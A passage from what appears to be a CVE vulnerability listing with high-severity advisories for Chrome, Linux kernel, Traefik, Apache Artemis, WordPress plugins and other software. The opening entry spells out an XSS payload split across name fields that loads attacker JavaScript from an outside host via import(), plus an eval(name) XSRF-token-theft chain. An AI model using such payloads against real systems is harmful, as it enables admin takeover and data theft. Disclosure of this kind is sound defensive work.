via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.	9.6	More Details
CVE-2026-87526	Use after free in Passwords in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via UI Interaction. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-87527	Buffer overflow in WebGL in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)	9.6	More Details
CVE-2026-87528	Type confusion in Rust in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-87529	Numeric truncation error in Media in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-82100	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.	9.6	More Details
CVE-2026-87547	Incorrect reference resolution in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-87438	Out of bounds write in WebGL in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)	9.6	More Details
CVE-2026-87558	Use after free in Payments in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details

CVE-2026-87520	Use after free in Dawn in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87581	Use after free in Payments in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-82107	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information and bypass security restrictions due to improper authentication.	9.6	More Details
CVE-2026-87607	Use after free in Device in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87609	Use after free in Sharing in Google Chrome on on iOS prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-87621	Out of bounds write in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87654	Buffer overflow in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87650	Out of bounds read in WebGL in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87646	Use after free in Web Authentication in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87643	Integer overflow in GPU in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-87638	Out of bounds write in Media in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-87637	Use after free in Extensions in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-87911	An OS command injection weakness in the read-only enforcement of the SQL validation component in Amazon awslabs postgres-mcp-server before 1.1.7 might allow an unauthenticated actor to execute operating system commands on the host of a self-managed PostgreSQL server by placing a crafted COPY ... TO PROGRAM statement into content that is processed when an authenticated user interacts with the MCP server in its default read-only mode. To remediate this issue, users should upgrade to version 1.1.7 or later.	9.6	More Details
CVE-2026-87634	Use after free in WebPackaging in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)	9.6	More Details
CVE-2026-87474	Use after free in Payments in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87494	Use after free in Browser in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-81048	Dell ThinOS 10, versions prior to 2605_10.2616, contain an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Remote Code execution	9.6	More Details
CVE-2026-87464	Use after free in WebGL in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)	9.6	More Details

CVE-2026-87470	Improper quantity validation in Tint in Google Chrome on on Mac prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-77006	The WebTotem Backups WordPress plugin through 1.0.1 does not validate a user-supplied file path, does not check the capability of the user making the request, and discards the result of its own CSRF check, allowing any authenticated user, such as a subscriber, to delete arbitrary files on the server, which can lead to a site takeover.	9.6	More Details
CVE-2026-87488	Use after free in WebGL in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)	9.6	More Details
CVE-2026-87455	Use after free in Aura in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-87492	Incorrect authorization in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87448	Use after free in DevTools in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Low)	9.6	More Details
CVE-2026-87500	Improper validation of array index in ANGLE in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87504	Use after free in Core in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: Medium)	9.6	More Details
CVE-2026-87512	Use after free in ANGLE in Google Chrome on on Windows prior to 153.0.8010.36 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)	9.6	More Details
CVE-2026-87931	A vulnerability has been found in Behavioral Technology Group Pavlok Behavioral Conditioning Wearable up to 20260707. Impacted is an unknown function of the component Apple Notification Center Service Event Handler. The manipulation leads to buffer overflow. The attack must be carried out from within the local network. The vendor was contacted early about this disclosure but did not respond in any way.	9.6	More Details
CVE-2026-88285	GeoVision GV-LPC2211 V1.13 exposes a network-accessible PTZ control service without authentication, allowing remote clients to retrieve PTZ information and issue PTZ or raw serial commands.	9.4	More Details
CVE-2026-81046	Dell ThinOS 10, versions prior to 2605_10.2616, contain a Protection Mechanism Failure vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Arbitrary Code Execution within the application context.	9.4	More Details
CVE-2026-88869	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the AD_Server plugin's log.php endpoint that fails to escape the label parameter before storage. An unauthenticated attacker can inject malicious HTML through the label parameter, which is later rendered unsanitized in the admin Ad Types report using jQuery .html(), allowing execution of arbitrary JavaScript in an administrator's browser session.	9.3	More Details
CVE-2026-54072	Authorizer is an open-source, self-hostable authentication and authorization server. Prior to version 2.2.1, the `/authorize` endpoint accepts any `redirect_uri` without validating it against `AllowedOrigins`. When `response_type=token` or `response_type=id_token`, the server appends `access_token`, `id_token`, and `refresh_token` as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required `client_id` from the public `/graphql?query={meta{client_id}}` endpoint. A partial fix was applied in v2.0.1 to other handlers (`oauth_login`, `verify_email`, `magic_link_login`, `forgot_password`, `invite_members`, `oauth_callback`) but `/authorize` was not included. Version 2.2.1 contains a more complete fix.	9.3	More Details
CVE-2026-81800	Unauthenticated SQL Injection in Verified Reviews (Avis Vérifiés) <= 2.4.6 versions.	9.3	More Details
CVE-2026-8323	URL redirection to untrusted site ('open redirect') vulnerability in Armiya Information Technologies Ltd. Co. Access Control System allows Fake the Source of Data. This issue affects Access Control System: before Versiyon 2.	9.3	More Details
CVE-2026-89448	In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Force requesting ACS when tboot is enabled Currently the conditions of requesting ACS in detect_intel_iommu() don't include tboot, leading to a possible misconfiguration with ACS disabled (e.g. due to user opts) while iommu is	9.3	More Details

	later forced on by tboot_force_iommu(). Fix it by checking tboot in detect_intel_iommu().		
CVE-2026-89672	In the Linux kernel, the following vulnerability has been resolved: nfsd: gate nfs2 setacl by argp->mask The NFSACL v2 SETACL path shares the decoder convention used by its v3 sibling: nfsaclsvc_decode_setaclargs() fills in argp->acl_access only when NFS_ACL is set in the request mask and argp->acl_default only when NFS_DFACL is set, leaving the other pointer NULL because the argument buffer is zeroed up to pc_argzero before decode. nfsacld_proc_setacl() then hands both pointers to set_posix_acl() unconditionally. set_posix_acl(idmap, dentry, type, NULL) is the VFS "remove this ACL type" operation, so an omitted arm is indistinguishable from an explicit request to delete that ACL. A SETACL carrying only NFS_ACL silently strips the directory's default ACL; mask=0 strips both. This is the same defect just fixed in nfsd3_proc_setacl(); apply the same remedy. Gate each set_posix_acl() call on its mask bit and initialize error to 0 so that a request with neither bit set leaves the on-disk ACLs untouched and returns success. The out_drop_lock path and the unconditional posix_acl_release() in nfsaclsvc_release_setacl() already tolerate the skipped arms.	9.1	More Details
CVE-2026-89697	In the Linux kernel, the following vulnerability has been resolved: nfsd: add fh_want_write() for early-verified SETATTR in nfsd_proc_setattr() The BOTH_TIME_SET branch calls fh_verify() early so setattr_prepare() can inspect the dentry. This causes nfsd_setattr() to skip fh_want_write(), so notify_change() runs without a mount write reference. Add the missing fh_want_write() call after the early fh_verify().	9.1	More Details
CVE-2026-71640	An issue in ZJU-FAST-Lab EGO-Planner-v2 All versions up to commit 5c99a95880401e2599638d567abc0e240396cb42 allows unsafe vehicle motion via improper handling of expired trajectory data in the replanning pipeline	9.1	More Details
CVE-2026-89713	In the Linux kernel, the following vulnerability has been resolved: NFSD: check truncate permission under inode lock nfsd_setattr() checks whether a size update needs NFSD_MAY_TRUNC before it takes inode_lock(). The comparison uses the file size sampled by that unlocked read, but the actual ATTR_SIZE update is applied later under inode_lock() by notify_change(). This leaves a TOCTOU window for append-only files. If a client sends a SETATTR that does not shrink the file at the time of the unlocked sample, a concurrent append can extend the file before nfsd_setattr() takes inode_lock(). notify_change() then applies a real truncation without the NFSD_MAY_TRUNC check that rejects IS_APPEND(inode). The VFS truncate syscall paths perform their own append-only checks before calling notify_change(), so NFSD must make this decision against the locked size it is about to change. Split the write-count acquisition from the truncation permission check. Keep get_write_access() before the locked setattr work, then recheck whether the requested size is below i_size_read(inode) after inode_lock() has been acquired and before notify_change(ATTR_SIZE). This also avoids the plain unlocked inode->i_size load.	9.1	More Details
CVE-2026-88007	Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.0 until 2.11.57 and 3.7.13, the HTTP/3 entrypoint ConnContext does not call service.AddTransportOnContext, so kerberosRoundTripper uses a shared backend transport instead of a transport dedicated to each frontend connection. With HTTP/3 enabled, a backend using connection-bound NTLM or Negotiate authentication, and backend keep-alive, an unrelated client can reuse a backend connection authenticated for a victim, read victim-only data, and act as that victim without the victim credentials. This issue is fixed in 2.11.57 and 3.7.13.	9.1	More Details
CVE-2026-41869	Missing Authorization, Improper Resource Shutdown and Job Interruption vulnerability in Apache Nutch Server (Nutch REST API). This issue affects Apache Nutch: from 1.10 through 1.22. Users are recommended to upgrade to version 1.23, which removes the Nutch Server. If an upgrade is not possible, user must restrict access to instances running the Nutch Service to trusted users only. Please, also visit the Apache Nutch security advisories https://nutch.apache.org/documentation/security/ .	9.1	More Details
CVE-2026-89671	In the Linux kernel, the following vulnerability has been resolved: nfsd: gate nfs3 setacl by argp->mask nfsd3_proc_setacl() calls set_posix_acl() unconditionally for both ACL_TYPE_ACCESS and ACL_TYPE_DEFAULT, passing argp->acl_access and argp->acl_default verbatim. The NFSv3 ACL decoder only populates those pointers when the corresponding mask bit is set: nfs3svc_decode_setaclargs() if (args->mask & NFS_ACL) decode into acl_access if (args->mask & NFS_DFACL) decode into acl_default /* otherwise the pointer stays NULL (pc_argzero) */ nfsd3_proc_setacl() set_posix_acl(.., ACL_TYPE_ACCESS, argp->acl_access) set_posix_acl(.., ACL_TYPE_DEFAULT, argp->acl_default) set_posix_acl(idmap, dentry, type, NULL) is the VFS "remove this ACL type" operation. A NULL pointer that means "the client did not send this arm" is therefore indistinguishable from "the client asked to remove this ACL". A SETACL with mask=NFS_ACL silently drops the directory's default ACL; mask=0 drops both. The sibling nfsd3_proc_getacl() already consults argp->mask before touching each arm; mirror that in setacl. Fix by wrapping each set_posix_acl() call in the matching mask bit check and initializing error to 0 before inode_lock so that a request with neither bit set leaves the on-disk ACLs untouched and returns nfs_ok. The out_drop_lock path and the unconditional posix_acl_release() at out: are preserved; both NULL-tolerate the skipped arms.	9.1	More Details
	eprosima Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group). Versions prior to 2.6.12, 2.14.6, 3.2.4, 3.3.1, and 3.4.2 have a remotely triggerable Out-of-Bounds Read while processing RTPS `DATA_FRAG` submessages. An attacker can		

CVE-2026-22590	craft a `DATA_FRAG` with a large `sampleSize` but a small actual payload, and set `fragmentsInSubmessage` such that the receiver treats the packet as the LAST fragment**. In this LAST-fragment path, Fast-DDS computes `incoming_length` based on `sampleSize` and calls `memcpy()` without validating `incoming_data.length >= incoming_length`. As a result, `CacheChange_t::add_fragments()` reads past the received UDP datagram buffer and into adjacent heap memory, copying those bytes into the reassembly buffer. In a Discovery Server deployment, the resulting `CacheChange_t` can be relayed to other participants, meaning that a newly joining participant may receive leaked heap memory (e.g., pointer values that could aid ASLR bypass). Versions 2.6.12, 2.14.6, 3.2.4, 3.3.1, and 3.4.2 fix the issue.	9.1	More Details
CVE-2026-88008	Traefik is an open source HTTP reverse proxy and load balancer. From 2.11.26 until 2.11.57 and 3.7.13, Traefik forwards a client-supplied Connection header requesting Upgrade, the Upgrade: h2c token, and HTTP2-Settings to a shared backend. If the backend accepts h2c and returns 101 Switching Protocols, Traefik enters a raw tunnel and no longer applies routers, BasicAuth, ForwardAuth, IPAllowList, RateLimit, access logging, metrics, or tracing to later HTTP/2 requests, allowing an unauthenticated request through an unprotected route to reach protected paths on the same backend. This issue is fixed in 2.11.57 and 3.7.13.	9.1	More Details
CVE-2026-88864	Capgo (capgo.app) fails to restrict direct write access to the public.sso_providers table exposed through Supabase PostgREST. A holder of an ordinary Capgo full API key can insert a row with status='active' and enforce_sso=true, bypassing the intended backend SSO provisioning route (supabase/functions/_backend/private/sso/providers.ts) and its controls: the Enterprise plan requirement, SSO provider creation via the Supabase Management API, DNS TXT domain-ownership verification, the pending_verification → verified → active status transition, and issuance of a trusted provider ID by Supabase Auth. The forged row is trusted by SSO discovery and enforcement logic, including the unauthenticated login preflight endpoint /private/sso/check-domain, which then reports {"has_sso": true, "enforce_sso": true} for domains that were never verified, allowing attacker-controlled SSO enforcement to be asserted for arbitrary domains and disrupting normal login. All versions are affected; at the time of the advisory no patch was available.	9.1	More Details
CVE-2026-81468	Dell ThinOS 10, versions prior to 2605_10. 2616, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.	9.1	More Details
CVE-2026-89532	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Fix pcl_for_each_segment for empty chunks When a parsed chunk list contains a chunk whose ch_segcount is zero, pcl_for_each_segment computes its inclusive upper bound as &chunk->ch_segments[ch_segcount - 1]. ch_segcount is u32, so the subtraction wraps to 0xFFFFFFFF and the bound lands far past the ch_segments flex array. The loop body then walks unrelated memory at sizeof(struct svc_rdma_segment) stride until it faults. A zero-segcount chunk is reachable from the wire: xdr_check_write_chunk() only rejects segcount values greater than rc_maxpages, and pcl_alloc_write() links a freshly allocated chunk onto rc_write_pcl/rc_reply_pcl before its segment-fill loop runs, so a Write or Reply chunk advertising zero segments leaves ch_segcount == 0 on the list. When the transport has negotiated Send-With-Invalidate, svc_rdma_get_inv_rkey() iterates all four PCLs with pcl_for_each_segment and dereferences segment->rs_handle on each iteration, turning the underflow into an out-of-bounds read and a general protection fault. xdr_check_write_list / xdr_check_reply_chunk pcl_alloc_write() chunk = pcl_alloc_chunk(...) /* ch_segcount = 0 */ list_add_tail(&chunk->ch_list, &pcl->cl_chunks) /* fill loop iterates zero times for wire segcount 0 */ svc_rdma_get_inv_rkey() pcl_for_each_chunk(rc_write_pcl) pcl_for_each_segment(segment, chunk) pos <= &ch_segments[0u - 1u] /* 0xFFFFFFFF */ segment->rs_handle /* OOB read -> GPF */ Fix by switching the macro to a half-open upper bound that uses ch_segcount directly. For ch_segcount == 0 the loop start equals the loop end and the body is skipped; for ch_segcount > 0 the iteration range is unchanged. All six existing call sites in net/sunrpc/xprtrdma/svc_rdma_recvfrom.c and net/sunrpc/xprtrdma/svc_rdma_rw.c remain correct under the new bound, so no caller changes are needed.	9.1	More Details
CVE-2026-78361	The zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options. This can be used to destroy site and access control configuration, deactivate every installed zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0, and take the site offline.	9.1	More Details
CVE-2026-84939	Path traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled). This issue affects Apache FreeMarker from 2.2.0 through 2.3.34. Users are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this. Note that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class	9.1	More Details

	loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context.		
CVE-2026-89537	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Reject short RFC 4121 MIC tokens in gss_krb5_verify_mic_v2 gss_krb5_verify_mic_v2() reads the token ID at ptr[0..1], the flags byte at ptr[2], and padding at ptr[3..7], then passes ptr + GSS_KRB5_TOK_HDR_LEN and cksum_len to gss_krb5_mic_build_sg(). None of these accesses check read_token->len first. The minimum safe token size is GSS_KRB5_TOK_HDR_LEN (16) plus ctx->krb5e->cksum_len (12-24, depending on the enctype). All callers accept shorter tokens from the wire: - gss_unwrap_resp_integ() enforces only an upper bound (offset + len <= rcv_buf->len) before allocating mic.data = kmalloc(len) and passing it to gss_verify_mic(). A malicious NFS server can therefore supply a short checksum opaque, producing a small slab allocation that the Kerberos MIC verifier reads past. - gss_validate() enforces only len <= RPC_MAX_AUTH_SIZE (400) before passing the wire-supplied length to gss_validate_seqno_mic(), which constructs a mic xdr_netobj and calls gss_verify_mic(). - svcauth_gss_verify_header() enforces only checksum.len >= XDR_UNIT (4 bytes) before dispatching to gss_verify_mic(). - svcauth_gss_unwrap_integ() checks only that the checksum fits in gsd->gsd_scratch. Add a length guard at the top of gss_krb5_verify_mic_v2(), before any ptr[] access or scatterlist construction. Well-formed MIC tokens from gss_krb5_get_mic_v2() already have exactly GSS_KRB5_TOK_HDR_LEN + cksum_len bytes, so valid traffic is unaffected.	9.1	More Details
CVE-2026-67593	A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.	9.1	More Details
CVE-2026-49364	An unauthenticated network-adjacent attacker can leverage discovery to capture cluster administrative credentials during the initial cluster connection handshake. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ Artemis: from 1.0.0 through 2.44.0. Users are recommended to upgrade to version 2.57.0, which fixes the issue.	9.1	More Details
CVE-2026-85228	An integer overflow in the tensor buffer validation component in Amazon Deep Java Library (DJL) from 0.13.0 through 0.36.0 on all platforms might allow a remote unauthenticated actor to obtain information from adjacent process memory or cause a denial of service via a crafted tensor payload. To remediate this issue, users should upgrade to version 0.37.0 or above.	9.1	More Details
CVE-2026-89009	WAVLINK WN535M1 and WN535M3 routers running firmware prior to M35M1_V250922 contain an unauthenticated arbitrary file write vulnerability that allows remote attackers to overwrite any file on the device by sending a crafted payload to the sync_server daemon on TCP port 13136. The daemon, which runs as root and requires no authentication, accepts a 100-byte filename field in its protocol header without path canonicalization, allowing attackers to supply an absolute path and write arbitrary content to overwrite startup scripts or credential stores to achieve persistent system compromise.	9.1	More Details
CVE-2026-88044	rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.70.0 until 1.75.1, the serve/start RC interface accepts per-server proxyOpt.AuthProxy settings, and the FTP and S3 constructors in cmd/serve/ftp/ftp.go and cmd/serve/s3/server.go incorrectly check the process-global proxy.Opt.AuthProxy value instead. When the global value is empty, the request-local authentication proxy is ignored: FTP falls back to the fixed filesystem with username anonymous and any password, while S3 with AuthKey serves the fixed RC fs rather than the backend selected by the proxy. The dedicated command-line servers that configure the global option are not affected. This issue is fixed in version 1.75.1.	9.1	More Details
CVE-2026-45764	Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, a protocol change while processing HTTP/2 traffic could lead to type confusion in Suricata. Crafted traffic may cause Suricata to crash, resulting in denial of service. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, disable HTTP/2 parsing if it is not required.	9.1	More Details
CVE-2026-80424	IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to create arbitrary files due to path traversal during archive extraction.	9.1	More Details
CVE-2026-68006	An issue in Puma v.5.0.0 and before v.8.0.3 allows an attacker to execute arbitrary code via the ext/puma_http11/http11_parser.rl file	9.1	More Details
CVE-2026-89630	In the Linux kernel, the following vulnerability has been resolved: smb: client: restore the data_offset bound in is_valid_oplock_break() Commit 83bfbd0bb902 ("cifs: Remove the RFC1002 header from smb_hdr") changed the quantity this bound is measured against. It used to be srv->total_read minus the 4-byte RFC1002 preamble that total_read then included, so it was the SMB message length. The same commit stopped counting the preamble, and the mechanical substitution to srv->total_read - srv->pdu_size left an expression that is identically zero: standard_receive3() reads MID_HEADER_SIZE() bytes and then exactly pdu_length - MID_HEADER_SIZE() more, adding both to total_read. len is therefore 0, the subtraction below it wraps, and no __u32 DataOffset can exceed the result, so the check	9.1	More Details

	from commit 097f5863b1a0 ("cifs: read overflow in is_valid_oplock_break()") no longer rejects anything. Use total_read, which is now the message length on its own.		
CVE-2026-89631	In the Linux kernel, the following vulnerability has been resolved: smb: client: reject a tree connect response whose byte count is too small CIFSTCon() bounds its strnlen() over the byte area with the server's ByteCount minus two, which for ByteCount 0 or 1 goes negative as an int and converts to a huge size_t. The later subtraction wraps the __u16 bytes_left, and that is what bounds cifs_strndup_from_utf16(): a bound of up to 65535 against a ~16 KB cifs_req_poolp object runs off the end of the slab object, and the bytes reach userspace through tcon->nativeFileSystem in /proc/fs/cifs/DebugData. Reject a byte area too small for what the parser consumes. Two bytes is the least it can consume, and no conformant response carries fewer. The new trace point is the 129th smb_eio_trace entry, which __mode(byte) cannot represent, so the attribute goes with it.	9.1	More Details
CVE-2026-89042	passport-saml-encrypted through 0.1.13 makes SAML signature verification conditional on an optional cert option, allowing attackers to bypass authentication by submitting unsigned SAML responses. Attackers can post forged SAML responses with arbitrary NameID and attributes to the assertion consumer service endpoint to receive authenticated profiles without valid signatures.	9.1	More Details
CVE-2026-89634	In the Linux kernel, the following vulnerability has been resolved: smb: client: fix ALIGN() overflow in symlink_data() error context loop The check added by commit 7d9a7f1f96cd ("smb/client: fix possible infinite loop and oob read in symlink_data()") compared the post-ALIGN length against the remaining buffer, but ALIGN() itself can overflow: for ErrorDataLength near UINT32_MAX (e.g. 0xFFFFFFF9), ALIGN(x, 8) wraps to 0, so the subsequent bounds check passes, and the loop advances by zero bytes leaving 'p' pointing into stale data. Fix by checking the raw ErrorDataLength against the remaining space before applying ALIGN(), then checking again after. Since raw_len is bounded by the buffer, raw_len + 7 cannot overflow, so the second check is an exact post-alignment bounds guard.	9.1	More Details
CVE-2026-89086	In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.	9.1	More Details
CVE-2026-75940	A vulnerability was reported in Lenovo Health Android Application, distributed exclusively in the Chinese market, that could allow an attacker to access sensitive health-related information.	9.1	More Details
CVE-2026-89649	In the Linux kernel, the following vulnerability has been resolved: ceph: bound xattr value length in __build_xattrs() __build_xattrs() decodes the MDS-supplied xattr blob one attribute at a time. For each attribute it reads a 32-bit name length, advances past the name bytes, reads a 32-bit value length, records the value pointer, and advances past the value bytes. The two length fields are read with ceph_decode_32_safe(), but the value bytes themselves are advanced over with a bare "p += len" and no ceph_decode_need() check that "len" bytes remain in the blob. For every attribute except the last, the next iteration's ceph_decode_32_safe() on the following name length implicitly verifies that the previous value did not run past the blob end. The final attribute has no successor, so its decoded value length is never checked against the blob bounds. A malicious or compromised metadata server can set the last attribute's value length larger than the bytes actually present in the blob. The blob is a dedicated kvmalloc() allocation sized to the wire length (ceph_buffer_new() in ceph_fill_inode()). __set_xattr() records the oversized length in xattr->val_len verbatim, and a later getxattr(2) runs memcpy(value, xattr->val, xattr->val_len) into a user-supplied buffer, copying bytes past the end of the allocation back to user space. Impact: a malicious metadata server discloses adjacent kernel heap bytes to a local user via getxattr(2) on a CephFS file. Add the missing ceph_decode_need() so an out-of-bounds value length on the final attribute fails the decode and returns -EIO instead of being stored.	9.1	More Details
CVE-2026-89650	In the Linux kernel, the following vulnerability has been resolved: ceph: bound num_export_targets array for mds info v2/v3 ceph_mdsmap_decode() in fs/ceph/mdsmap.c reads num_export_targets from each per-mds info record and advances the decode cursor by num_export_targets * sizeof(u32) without first checking that many bytes remain. The only upper-bound check that catches a runaway cursor (*p > info_end) is gated on info_v >= 4, because info_end is left NULL for info_v 2 and 3. When the monitor sends an MDS map whose per-mds info version is 2 or 3 with an oversized num_export_targets, the cursor moves past the message front buffer and the later export-targets loop calls the unchecked ceph_decode_32() on out-of-bounds memory. A kernel client processes CEPH_MSG_MDS_MAP from its monitor session (net/ceph/mon_client.c dispatches it; fs/ceph/super.c routes it to ceph_mdsc_handle_mdsmap(), which sets end to the front buffer bound and calls ceph_mdsmap_decode()). A malicious or compromised monitor, or an on-path attacker on an unsigned/unencrypted messenger session, can therefore drive an out-of-bounds read in the client kernel; on x86_64 with KASAN it is reported as a slab-out-of-bounds read in ceph_mdsmap_decode(). The decoded values land in the internal info->export_targets[] array, so the consequence is a kernel out-of-bounds read, not an information leak to the attacker. Impact: a malicious or compromised Ceph monitor sending an MDS map with a per-mds info version of 2 or 3 and an oversized num_export_targets field triggers an out-of-bounds read in the CephFS client kernel. Add a ceph_decode_need() for the export-targets array before advancing the cursor, so the bound is enforced for every info_v >= 2, not only info_v >= 4. This mirrors the count-then-need idiom already used for m_data_pg_pools later in the same function. Compute the export-targets byte count with size_mul() and reuse that checked length when	9.1	More Details

	advancing the cursor, so the attacker-controlled num_export_targets multiplication fails closed on overflow rather than relying on the later kcalloc() guard.		
